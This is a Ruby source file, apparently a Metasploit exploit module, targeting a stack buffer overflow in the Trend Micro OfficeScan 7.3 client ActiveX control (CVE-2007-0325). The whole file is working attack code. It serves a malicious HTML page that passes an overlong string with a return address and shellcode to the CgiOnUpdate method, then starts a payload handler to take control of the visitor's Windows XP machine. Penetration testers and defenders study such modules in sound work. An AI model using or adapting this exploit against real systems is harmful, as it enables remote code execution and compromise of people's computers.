87 lines
2.3 KiB
Ruby
87 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Trend Micro OfficeScan
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Corporate Edition 7.3. By sending an overly long string to the
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"CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control,
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an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2007-0325' ],
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[ 'OSVDB', '33040' ],
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[ 'BID', '22585' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ],
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],
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'DisclosureDate' => 'Feb 12 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:08d75bb0-d2b5-11d1-88fc-0080c859833b' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.CgiOnUpdate = #{strname};
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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